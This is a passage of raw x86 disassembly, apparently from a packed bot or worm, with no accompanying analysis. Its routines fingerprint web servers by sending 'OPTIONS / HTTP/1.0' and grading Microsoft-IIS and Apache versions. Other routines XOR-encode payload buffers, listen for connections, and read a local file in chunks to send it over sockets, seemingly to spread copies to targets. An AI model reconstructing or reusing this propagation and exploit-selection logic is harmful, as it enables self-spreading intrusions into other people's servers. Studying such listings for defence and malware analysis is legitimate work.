jz short loc_40E388 push [ebp+arg_10] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [edi], ax loc_40E388: ; CODE XREF: sub_40E2C1+B2j test esi, esi jz short loc_40E391 mov eax, [ebp+arg_14] mov [esi], eax loc_40E391: ; CODE XREF: sub_40E2C1+C9j mov eax, [ebp+arg_4] loc_40E394: ; CODE XREF: sub_40E2C1+78j pop edi pop esi pop ebx pop ebp retn sub_40E2C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E399 proc near ; CODE XREF: .packed:0040B80Dp ; sub_40BAAF+3Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 1Ch push esi push edi jb short loc_40E3CE push [ebp+arg_14] mov esi, [ebp+arg_0] push [ebp+arg_10] lea eax, [esi+1Ch] mov [ebp+var_4], eax push [ebp+arg_C] push [ebp+arg_8] push 1E4h push eax call sub_40E2C1 mov edi, eax add esp, 18h test edi, edi jnz short loc_40E3D5 loc_40E3CE: ; CODE XREF: sub_40E399+Aj xor eax, eax jmp loc_40E492 ; --------------------------------------------------------------------------- loc_40E3D5: ; CODE XREF: sub_40E399+33j push 1Ch push offset loc_4178E8 push esi call sub_4114D0 ; memcpy mov eax, dword_417CB8 add esp, 0Ch mov [ebp+arg_4], eax loc_40E3ED: ; CODE XREF: sub_40E399+9Dj push 0 lea eax, [ebp+arg_4] push [ebp+arg_1C] push [ebp+arg_18] push 4 push eax call sub_40E288 add esp, 14h test eax, eax jnz short loc_40E429 mov eax, [ebp+arg_4] push 0 push [ebp+arg_1C] xor eax, edi mov [ebp+arg_14], eax lea eax, [ebp+arg_14] push [ebp+arg_18] push 4 push eax call sub_40E288 add esp, 14h test eax, eax jz short loc_40E438 loc_40E429: ; CODE XREF: sub_40E399+6Cj call sub_40B480 mov [ebp+arg_4], eax mov dword_417CB8, eax jmp short loc_40E3ED ; --------------------------------------------------------------------------- loc_40E438: ; CODE XREF: sub_40E399+8Ej mov eax, [ebp+arg_4] push ebx mov [esi+3], eax mov eax, [ebp+arg_14] mov [esi+9], eax mov bl, byte_417CB5 mov byte ptr [ebp+arg_0], bl loc_40E44E: ; CODE XREF: sub_40E399+DEj push [ebp+arg_0] push [ebp+arg_1C] push [ebp+arg_18] push edi push [ebp+var_4] call sub_40E288 add esp, 14h test eax, eax jz short loc_40E479 call sub_40B4AB mov bl, al mov byte ptr [ebp+arg_0], bl mov byte_417CB5, bl jmp short loc_40E44E ; --------------------------------------------------------------------------- loc_40E479: ; CODE XREF: sub_40E399+CCj xor eax, eax mov [esi+12h], bl test edi, edi jbe short loc_40E48E loc_40E482: ; CODE XREF: sub_40E399+F3j mov ecx, [ebp+var_4] add ecx, eax xor [ecx], bl inc eax cmp eax, edi jb short loc_40E482 loc_40E48E: ; CODE XREF: sub_40E399+E7j lea eax, [edi+1Ch] pop ebx loc_40E492: ; CODE XREF: sub_40E399+37j pop edi pop esi leave retn sub_40E399 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E496 proc near ; CODE XREF: sub_40E707+Fp ; sub_40E829+51p ... var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18Ch push esi push edi push 8 push 4 call sub_40B459 push 7Ah push 61h mov edi, eax call sub_40B459 add esp, 10h mov [ebp+var_10], al push 1 pop esi cmp edi, esi jz short loc_40E4D6 loc_40E4C2: ; CODE XREF: sub_40E496+3Ej push 7Ah push 61h call sub_40B459 mov [ebp+esi+var_10], al inc esi pop ecx cmp esi, edi pop ecx jnz short loc_40E4C2 loc_40E4D6: ; CODE XREF: sub_40E496+2Aj lea eax, [ebp+esi+var_10] push offset dword_413620 push eax call sub_4114B8 ; _mbscpy mov esi, 17Ch lea eax, [ebp+var_18C] push esi push offset dword_417B38 push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_18C] push esi push eax push [ebp+arg_0] call sub_403D9D add esp, 28h pop edi pop esi leave retn sub_40E496 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E523 proc near ; CODE XREF: sub_40E707+EAp ; sub_40E829+75p ... var_240 = byte ptr -240h var_40 = byte ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 240h push ebx push esi push edi xor edi, edi cmp dword_419EBC, edi push 1 pop ebx jnz short loc_40E5AE cmp off_418E20, edi mov dword_419EBC, ebx jz short loc_40E5AE mov eax, offset off_418E20 xor esi, esi loc_40E551: ; CODE XREF: sub_40E523+81j push 20h push dword ptr [eax] lea eax, [ebp+var_20] push eax call sub_4059C2 push 20h lea eax, [ebp+var_40] push off_417CC0[esi] push eax call sub_4059C2 lea eax, [ebp+var_20] push eax call sub_40B5A8 lea eax, [ebp+var_40] push eax call sub_40B5A8 lea eax, [ebp+var_40] push eax lea eax, [ebp+var_20] push eax call sub_41177E ; strcmp add esp, 28h test eax, eax jnz short loc_40E5A8 add esi, 0Ch cmp off_418E20[esi], edi lea eax, off_418E20[esi] jnz short loc_40E551 jmp short loc_40E5AE ; --------------------------------------------------------------------------- loc_40E5A8: ; CODE XREF: sub_40E523+70j mov dword_419EC0, ebx loc_40E5AE: ; CODE XREF: sub_40E523+17j ; sub_40E523+25j ... cmp dword_419EC0, edi jnz short loc_40E613 push offset aRb ; "rb" push offset dword_419FE0 call sub_411506 ; fopen mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40E615 mov esi, 200h push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_411510 ; fread add esp, 10h loc_40E5E4: ; CODE XREF: sub_40E523+E7j test eax, eax jz short loc_40E60C push eax lea eax, [ebp+var_240] push eax push [ebp+arg_0] call sub_403D9D push edi push esi lea eax, [ebp+var_240] push ebx push eax call sub_411510 ; fread add esp, 1Ch jmp short loc_40E5E4 ; --------------------------------------------------------------------------- loc_40E60C: ; CODE XREF: sub_40E523+C3j push edi call sub_411500 ; fclose pop ecx loc_40E613: ; CODE XREF: sub_40E523+91j mov eax, ebx loc_40E615: ; CODE XREF: sub_40E523+A8j pop edi pop esi pop ebx leave retn sub_40E523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E61A proc near ; CODE XREF: sub_40E829+57p ; sub_40E8E1+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_403E1F pop ecx test eax, eax pop ecx jnz short loc_40E637 leave retn ; --------------------------------------------------------------------------- loc_40E637: ; CODE XREF: sub_40E61A+19j push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_412258 ; recv mov eax, [ebp+var_4] leave retn sub_40E61A endp ; =============== S U B R O U T I N E ======================================= sub_40E64D proc near ; CODE XREF: sub_40E829+67p ; sub_40E8E1+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi xor edi, edi xor eax, eax cmp off_417DC6, edi jz short loc_40E69C mov ecx, offset off_417DC6 loc_40E65F: ; CODE XREF: sub_40E64D+21j mov edx, [ecx-8] cmp edx, [esp+4+arg_0] jz short loc_40E672 add ecx, 3Ah inc eax cmp [ecx], edi jnz short loc_40E65F jmp short loc_40E69C ; --------------------------------------------------------------------------- loc_40E672: ; CODE XREF: sub_40E64D+19j imul eax, 3Ah push esi mov esi, [esp+8+arg_4] lea edi, dword_417D98[eax] push 3Ah push edi push esi call sub_4114D0 ; memcpy push esi call sub_40B5E1 add esi, 13h push esi call sub_40B5E1 add esp, 14h pop esi loc_40E69C: ; CODE XREF: sub_40E64D+Bj ; sub_40E64D+23j mov eax, edi pop edi retn sub_40E64D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E6A0 proc near ; CODE XREF: sub_40E707+103p ; sub_40E829+8Ap ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h mov eax, [ebp+arg_0] push esi add eax, 2Ah push 1 push eax call sub_407216 mov esi, eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4034DE add esp, 10h test eax, eax jnz short loc_40E6E3 lea eax, [ebp+var_100] push offset aUnknown ; "unknown" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40E6E3: ; CODE XREF: sub_40E6A0+2Ej lea eax, [ebp+var_100] inc esi push eax push esi push [ebp+arg_C] push [ebp+arg_4] push offset unk_4151D8 push offset dword_418E50 call sub_409659 add esp, 18h pop esi leave retn sub_40E6A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E707 proc near ; CODE XREF: sub_40ECD6+119p var_244 = dword ptr -244h var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_1A = dword ptr -1Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 244h push ebx push esi push edi push [ebp+arg_4] call sub_40E496 push 3Ah lea eax, [ebp+var_40] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_40] push eax call sub_40B5E1 lea eax, [ebp+var_2D] push eax call sub_40B5E1 mov edi, 203h lea eax, [ebp+var_244] push edi push 0 push eax call sub_4114E8 ; memset add esp, 24h and [ebp+var_4], 0 mov ebx, 3E8h mov esi, 200h loc_40E760: ; CODE XREF: sub_40E707+DFj push ebx push [ebp+arg_4] call sub_403E1F pop ecx test eax, eax pop ecx jz short loc_40E7DF lea eax, [ebp+var_244+3] push esi push eax push [ebp+arg_4] call sub_403DB2 add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_40E824 xor ecx, ecx cmp eax, ecx jz short loc_40E7CE jbe short loc_40E7A4 loc_40E793: ; CODE XREF: sub_40E707+9Bj mov edx, [ebp+ecx+var_244] cmp edx, [ebp+var_1A] jz short loc_40E7EE inc ecx cmp ecx, eax jb short loc_40E793 loc_40E7A4: ; CODE XREF: sub_40E707+8Aj lea eax, [ebp+eax+var_244] push 3 push eax lea eax, [ebp+var_244] push eax call sub_4114D0 ; memcpy push esi lea eax, [ebp+var_244+3] push 0 push eax call sub_4114E8 ; memset add esp, 18h jmp short loc_40E7DF ; --------------------------------------------------------------------------- loc_40E7CE: ; CODE XREF: sub_40E707+88j push edi lea eax, [ebp+var_244] push ecx push eax call sub_4114E8 ; memset add esp, 0Ch loc_40E7DF: ; CODE XREF: sub_40E707+66j ; sub_40E707+C5j inc [ebp+var_4] cmp [ebp+var_4], 3Ch jnz loc_40E760 jmp short loc_40E824 ; --------------------------------------------------------------------------- loc_40E7EE: ; CODE XREF: sub_40E707+96j push [ebp+arg_4] call sub_40E523 test eax, eax pop ecx jz short loc_40E824 push offset dword_417D2C lea eax, [ebp+var_40] push [ebp+arg_4] push eax push [ebp+arg_0] call sub_40E6A0 add esp, 10h push 1 push [ebp+arg_4] call dword_412210 ; shutdown push ebx call dword_4120A4 ; Sleep loc_40E824: ; CODE XREF: sub_40E707+7Ej ; sub_40E707+E5j ... pop edi pop esi pop ebx leave retn sub_40E707 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E829 proc near ; CODE XREF: sub_40ECD6+134p var_848 = dword ptr -848h var_844 = dword ptr -844h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 848h push ebx push esi push edi xor edi, edi push edi push [ebp+arg_4] push [ebp+arg_0] call sub_403B44 add esp, 0Ch mov esi, eax lea eax, [ebp+var_8] mov [ebp+var_8], 3Ch push 1 mov [ebp+var_4], edi pop ebx mov [ebp+var_844], esi push eax lea eax, [ebp+var_848] push edi push eax push edi push edi mov [ebp+var_848], ebx call dword_412214 ; select cmp eax, ebx push esi jnz short loc_40E8D0 call sub_40E496 push esi call sub_40E61A pop ecx cmp eax, edi pop ecx jz short loc_40E8CF lea ecx, [ebp+var_44] push ecx push eax call sub_40E64D pop ecx mov ebx, eax pop ecx cmp ebx, edi push esi jz short loc_40E8D0 call sub_40E523 test eax, eax pop ecx jz short loc_40E8CF push offset dword_417D30 lea eax, [ebp+var_44] push esi push eax push ebx call sub_40E6A0 add esp, 10h push 1 push esi call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep loc_40E8CF: ; CODE XREF: sub_40E829+60j ; sub_40E829+7Dj push esi loc_40E8D0: ; CODE XREF: sub_40E829+4Fj ; sub_40E829+73j call sub_403D92 pop ecx pop edi pop esi pop ebx leave retn sub_40E829 endp ; =============== S U B R O U T I N E ======================================= sub_40E8DB proc near ; CODE XREF: sub_40ECD6:loc_40EDAAp mov eax, offset dword_419EC4 retn sub_40E8DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8E1 proc near ; DATA XREF: sub_40E951+AAo var_3C = byte ptr -3Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3Ch push esi mov esi, [ebp+arg_0] push edi push esi call sub_40E496 push esi call sub_40E61A pop ecx test eax, eax pop ecx jz short loc_40E942 lea ecx, [ebp+var_3C] push ecx push eax call sub_40E64D pop ecx mov edi, eax pop ecx test edi, edi push esi jz short loc_40E943 call sub_40E523 test eax, eax pop ecx jz short loc_40E942 push offset dword_417D34 lea eax, [ebp+var_3C] push esi push eax push edi call sub_40E6A0 add esp, 10h push 1 push esi call dword_412210 ; shutdown push 3E8h call dword_4120A4 ; Sleep loc_40E942: ; CODE XREF: sub_40E8E1+1Bj ; sub_40E8E1+38j push esi loc_40E943: ; CODE XREF: sub_40E8E1+2Ej call sub_403D92 pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_40E8E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E951 proc near ; DATA XREF: sub_40EA2F+83o var_1B0 = dword ptr -1B0h var_1AC = byte ptr -1ACh var_1A6 = byte ptr -1A6h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push edi push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1AC] push 1 push eax call sub_403644 mov edi, eax add esp, 18h test edi, edi jnz short loc_40E9A1 push [ebp+var_1B0] call sub_406E6F pop ecx xor eax, eax jmp loc_40EA2A ; --------------------------------------------------------------------------- loc_40E9A1: ; CODE XREF: sub_40E951+3Bj lea eax, [ebp+var_1AC] push esi push eax mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_417D38 push eax call sub_4096CB lea eax, [ebp+var_1AC] push eax push offset dword_419EC4 call sub_4114B8 ; _mbscpy add esp, 18h loc_40E9D6: ; CODE XREF: sub_40E951+A3j ; sub_40E951+B8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jnz short loc_40EA14 push 3E8h push edi call sub_403767 mov esi, eax pop ecx cmp esi, 0FFFFFFFFh pop ecx jz short loc_40E9D6 test esi, esi jz short loc_40EA14 push esi push offset sub_40E8E1 call sub_406C5D pop ecx test eax, eax pop ecx jnz short loc_40E9D6 push esi call sub_403D92 pop ecx jmp short loc_40E9D6 ; --------------------------------------------------------------------------- loc_40EA14: ; CODE XREF: sub_40E951+8Fj ; sub_40E951+A7j push edi call sub_40392A push [ebp+var_1B0] call sub_406E6F pop ecx xor eax, eax pop ecx pop esi loc_40EA2A: ; CODE XREF: sub_40E951+4Bj pop edi leave retn 4 sub_40E951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA2F proc near ; CODE XREF: sub_407A76+97Ep ; sub_40EE23+1FBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 1ADh call sub_4114C4 ; malloc test eax, eax pop ecx mov [ebp+var_4], eax jz short locret_40EAC2 cmp [ebp+arg_4], 0 push ebx push esi push edi mov esi, 0FFFFh mov ebx, 401h jz short loc_40EA62 push [ebp+arg_4] call sub_41151C ; atoi jmp short loc_40EA6A ; --------------------------------------------------------------------------- loc_40EA62: ; CODE XREF: sub_40EA2F+27j push esi push ebx call sub_40B459 pop ecx loc_40EA6A: ; CODE XREF: sub_40EA2F+31j mov edi, eax pop ecx test edi, edi jz short loc_40EA75 cmp edi, esi jbe short loc_40EA80 loc_40EA75: ; CODE XREF: sub_40EA2F+40j push esi push ebx call sub_40B459 pop ecx mov edi, eax pop ecx loc_40EA80: ; CODE XREF: sub_40EA2F+44j mov esi, [ebp+var_4] push 0Ah lea eax, [esi+4] push eax push edi call sub_41192A ; _itoa mov ebx, [ebp+arg_0] lea eax, [esi+0Ah] push ebx push eax call sub_40457C xor eax, eax add esp, 14h cmp [ebx+18Bh], al push edi push offset dword_417D70 setz al push eax push esi push offset sub_40E951 call sub_406D58 add esp, 14h pop edi pop esi pop ebx locret_40EAC2: ; CODE XREF: sub_40EA2F+14j leave retn sub_40EA2F endp ; =============== S U B R O U T I N E ======================================= sub_40EAC4 proc near ; CODE XREF: sub_4111E8+C7p push ebx xor ebx, ebx cmp off_417DC6, ebx jz short loc_40EB14 push esi mov esi, offset off_417DC6 loc_40EAD5: ; CODE XREF: sub_40EAC4+4Dj mov eax, [esi-8] and eax, 0FFh sub [esi], eax and dword ptr [esi-4], 0 loc_40EAE3: ; CODE XREF: sub_40EAC4+29j ; sub_40EAC4+3Ej call sub_40B480 test eax, eax mov [esi-8], eax jz short loc_40EAE3 xor edx, edx mov ecx, offset word_417DBE loc_40EAF6: ; CODE XREF: sub_40EAC4+44j cmp dword ptr [ecx+8], 0 jz short loc_40EB0A cmp ebx, edx jz short loc_40EB04 cmp eax, [ecx] jz short loc_40EAE3 loc_40EB04: ; CODE XREF: sub_40EAC4+3Aj inc edx add ecx, 3Ah jmp short loc_40EAF6 ; --------------------------------------------------------------------------- loc_40EB0A: ; CODE XREF: sub_40EAC4+36j add esi, 3Ah inc ebx cmp dword ptr [esi], 0 jnz short loc_40EAD5 pop esi loc_40EB14: ; CODE XREF: sub_40EAC4+9j pop ebx retn sub_40EAC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB16 proc near ; CODE XREF: sub_40ECD6+6Ap var_808 = byte ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 808h push ebx push esi push edi push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_403D9D push 0EA60h push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40ECCF xor ebx, ebx mov esi, 800h push ebx lea eax, [ebp+var_808] push esi push eax push [ebp+arg_0] call dword_412258 ; recv cmp eax, ebx jz loc_40ECCF cmp eax, 0FFFFFFFFh jz loc_40ECCF cmp eax, esi jz loc_40ECCF mov [ebp+eax+var_808], bl lea eax, [ebp+var_808] push offset aServer ; "Server:" push eax mov [ebp+var_8], ebx call sub_411528 ; strstr pop ecx cmp eax, ebx pop ecx jz loc_40ECCF lea ecx, [ebp+var_8] mov esi, offset dword_413F54 push ecx push esi push eax call sub_405E4F add esp, 0Ch test eax, eax jz loc_40ECCF lea eax, [ebp+var_8] push eax push esi push ebx call sub_405E4F mov edi, eax add esp, 0Ch cmp edi, ebx jz loc_40ECCF lea eax, [ebp+var_8] push eax push esi push ebx call sub_405E4F push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push edi mov [ebp+arg_0], eax call sub_411930 ; _strnicmp add esp, 18h test eax, eax jnz short loc_40EC58 lea eax, [ebp+arg_0] mov [ebp+var_4], ebx push eax lea eax, [ebp+var_4] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push edi mov [ebp+arg_0], ebx call sub_411522 ; sscanf add esp, 10h push 4 pop eax cmp [ebp+var_4], eax jnz short loc_40EC27 cmp [ebp+arg_0], ebx jnz loc_40ECCF jmp loc_40ECD1 ; --------------------------------------------------------------------------- loc_40EC27: ; CODE XREF: sub_40EB16+101j cmp [ebp+var_4], 5 jnz short loc_40EC44 cmp [ebp+arg_0], ebx jnz short loc_40EC36 push 3 jmp short loc_40EC55 ; --------------------------------------------------------------------------- loc_40EC36: ; CODE XREF: sub_40EB16+11Aj cmp [ebp+arg_0], 5 jnz loc_40ECCF push 2 jmp short loc_40EC55 ; --------------------------------------------------------------------------- loc_40EC44: ; CODE XREF: sub_40EB16+115j cmp [ebp+var_4], 6 jnz loc_40ECCF cmp [ebp+arg_0], ebx jnz short loc_40ECCF push 1 loc_40EC55: ; CODE XREF: sub_40EB16+11Ej ; sub_40EB16+12Cj pop eax jmp short loc_40ECD1 ; --------------------------------------------------------------------------- loc_40EC58: ; CODE XREF: sub_40EB16+DDj cmp [ebp+arg_0], ebx jz short loc_40ECCF push 6 push offset aApache ; "Apache" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40ECCF lea eax, [ebp+var_4] mov [ebp+var_4], ebx push eax push offset dword_418148 push edi call sub_411522 ; sscanf push 6 push offset dword_418140 push [ebp+arg_0] call sub_411930 ; _strnicmp mov esi, eax add esp, 18h neg esi sbb esi, esi inc esi cmp esi, 1 jnz short loc_40ECB7 push 7 push offset dword_418138 push [ebp+arg_0] call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40ECCF loc_40ECB7: ; CODE XREF: sub_40EB16+189j cmp [ebp+var_4], 1 jz short loc_40ECC3 cmp [ebp+var_4], 2 jnz short loc_40ECCF loc_40ECC3: ; CODE XREF: sub_40EB16+1A5j xor eax, eax cmp esi, ebx setnz al add eax, 5 jmp short loc_40ECD1 ; --------------------------------------------------------------------------- loc_40ECCF: ; CODE XREF: sub_40EB16+2Dj ; sub_40EB16+4Ej ... xor eax, eax loc_40ECD1: ; CODE XREF: sub_40EB16+10Cj ; sub_40EB16+140j ... pop edi pop esi pop ebx leave retn sub_40EB16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECD6 proc near ; DATA XREF: sub_40EE23+3B3o ; sub_40F461+1C2o var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch lea eax, [ebp+var_14C] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free push 1 push [ebp+var_10E] call sub_40344B lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4034DE add esp, 20h test eax, eax jnz short loc_40ED31 push [ebp+var_10E] call sub_403D70 jmp loc_40EE1C ; --------------------------------------------------------------------------- loc_40ED31: ; CODE XREF: sub_40ECD6+49j cmp [ebp+var_112], 0 jz short loc_40ED52 push [ebp+var_10E] call sub_40EB16 cmp [ebp+var_112], eax pop ecx jnz loc_40EE11 loc_40ED52: ; CODE XREF: sub_40ECD6+62j cmp [ebp+var_8A], 1 jnz short loc_40ED6C lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_403530 jmp short loc_40EDB9 ; --------------------------------------------------------------------------- loc_40ED6C: ; CODE XREF: sub_40ECD6+83j cmp [ebp+var_8A], 2 jnz short loc_40EDAA lea eax, [ebp+var_6] push 0Ah push eax push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_4114B8 ; _mbscpy add esp, 14h jmp short loc_40EDCD ; --------------------------------------------------------------------------- loc_40EDAA: ; CODE XREF: sub_40ECD6+9Dj call sub_40E8DB push eax lea eax, [ebp+var_6] push eax call sub_4114B8 ; _mbscpy loc_40EDB9: ; CODE XREF: sub_40ECD6+94j lea eax, [ebp+var_86] push offset dword_41A2E8 push eax call sub_4114B8 ; _mbscpy add esp, 10h loc_40EDCD: ; CODE XREF: sub_40ECD6+D2j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_40EDF6 push [ebp+var_10E] push [ebp+var_14C] call sub_40E707 jmp short loc_40EE0F ; --------------------------------------------------------------------------- loc_40EDF6: ; CODE XREF: sub_40ECD6+10Bj cmp [ebp+var_8A], 2 jnz short loc_40EE11 lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_40E829 loc_40EE0F: ; CODE XREF: sub_40ECD6+11Ej pop ecx pop ecx loc_40EE11: ; CODE XREF: sub_40ECD6+76j ; sub_40ECD6+127j push [ebp+var_10E] call sub_403D92 loc_40EE1C: ; CODE XREF: sub_40ECD6+56j pop ecx xor eax, eax leave retn 4 sub_40ECD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE23 proc near ; DATA XREF: sub_40F2C2+18Do var_758 = qword ptr -758h var_740 = byte ptr -740h var_640 = byte ptr -640h var_63F = byte ptr -63Fh var_540 = byte ptr -540h var_53F = byte ptr -53Fh var_440 = dword ptr -440h var_43C = byte ptr -43Ch var_429 = byte ptr -429h var_37E = dword ptr -37Eh var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_1E8 = byte ptr -1E8h var_1DA = dword ptr -1DAh var_1D6 = dword ptr -1D6h var_1D2 = dword ptr -1D2h var_1CE = byte ptr -1CEh var_47 = byte ptr -47h var_46 = byte ptr -46h var_43 = byte ptr -43h var_37 = byte ptr -37h var_36 = byte ptr -36h var_28 = byte ptr -28h var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 740h push esi push edi push 2C9h lea eax, [ebp+var_2F4] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1E8] push eax call sub_4059F0 add esp, 14h test al, al jz short loc_40EE78 push 14Ch lea eax, [ebp+var_440] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch jmp loc_40EF02 ; --------------------------------------------------------------------------- loc_40EE78: ; CODE XREF: sub_40EE23+38j xor esi, esi mov edi, offset dword_417D98 loc_40EE7F: ; CODE XREF: sub_40EE23+8Aj lea eax, [ebp+var_28] push edi push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_28] push eax call sub_40B5E1 lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_28] push eax call sub_411924 ; _strcmpi add esp, 14h test eax, eax jz short loc_40EEAF inc esi add edi, 3Ah jmp short loc_40EE7F ; --------------------------------------------------------------------------- loc_40EEAF: ; CODE XREF: sub_40EE23+84j imul esi, 3Ah push 3Ah lea eax, [ebp+var_43C] lea esi, dword_417D98[esi] push esi push eax mov [ebp+var_440], esi call sub_4114D0 ; memcpy lea eax, [ebp+var_43C] push eax call sub_40B5E1 lea eax, [ebp+var_429] push eax call sub_40B5E1 and [ebp+var_37E], 0 lea eax, [ebp+var_429] push eax lea eax, [ebp+var_1E8] push eax call sub_4114B8 ; _mbscpy add esp, 1Ch loc_40EF02: ; CODE XREF: sub_40EE23+50j lea eax, [ebp+var_2F0] push eax call sub_405D8C test eax, eax pop ecx jz short loc_40EF79 mov dl, byte_4191D0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_53F] mov [ebp+var_540], dl rep stosd stosw stosb push 3Fh xor eax, eax pop ecx lea edi, [ebp+var_63F] mov [ebp+var_640], dl rep stosd stosw stosb lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405C9C add esp, 0Ch test eax, eax jz short loc_40EF79 push [ebp+var_1D2] call sub_40396E test eax, eax pop ecx mov [ebp+var_4], eax jnz short loc_40EF8C loc_40EF79: ; CODE XREF: sub_40EE23+EEj ; sub_40EE23+141j push [ebp+var_2F4] call sub_406E6F pop ecx xor eax, eax jmp loc_40F2BC ; --------------------------------------------------------------------------- loc_40EF8C: ; CODE XREF: sub_40EE23+154j mov eax, [ebp+var_440] push ebx test eax, eax jz loc_40F02E test byte ptr [eax+32h], 1 jz loc_40F02E call sub_403338 mov ecx, eax push 2 neg ecx sbb ecx, ecx pop edx add ecx, 3 cmp [ebp+var_37], 0 mov [ebp+var_37E], ecx jz short loc_40EFD6 mov esi, [ebp+var_440] test [esi+32h], dl jnz short loc_40EFD6 push 1 pop ecx mov [ebp+var_37E], ecx loc_40EFD6: ; CODE XREF: sub_40EE23+19Dj ; sub_40EE23+1A8j cmp [ebp+var_47], 0 jz short loc_40EFE4 mov ecx, edx mov [ebp+var_37E], ecx loc_40EFE4: ; CODE XREF: sub_40EE23+1B7j cmp [ebp+var_46], 0 jz short loc_40EFF3 push 3 pop ecx mov [ebp+var_37E], ecx loc_40EFF3: ; CODE XREF: sub_40EE23+1C5j cmp ecx, 3 jnz short loc_40F02E test eax, eax jz short loc_40F004 mov [ebp+var_37E], edx jmp short loc_40F02E ; --------------------------------------------------------------------------- loc_40F004: ; CODE XREF: sub_40EE23+1D7j mov al, [ebp+var_43] mov bl, [ebp+var_36] and [ebp+var_43], 0 mov byte ptr [ebp+arg_0+3], al lea 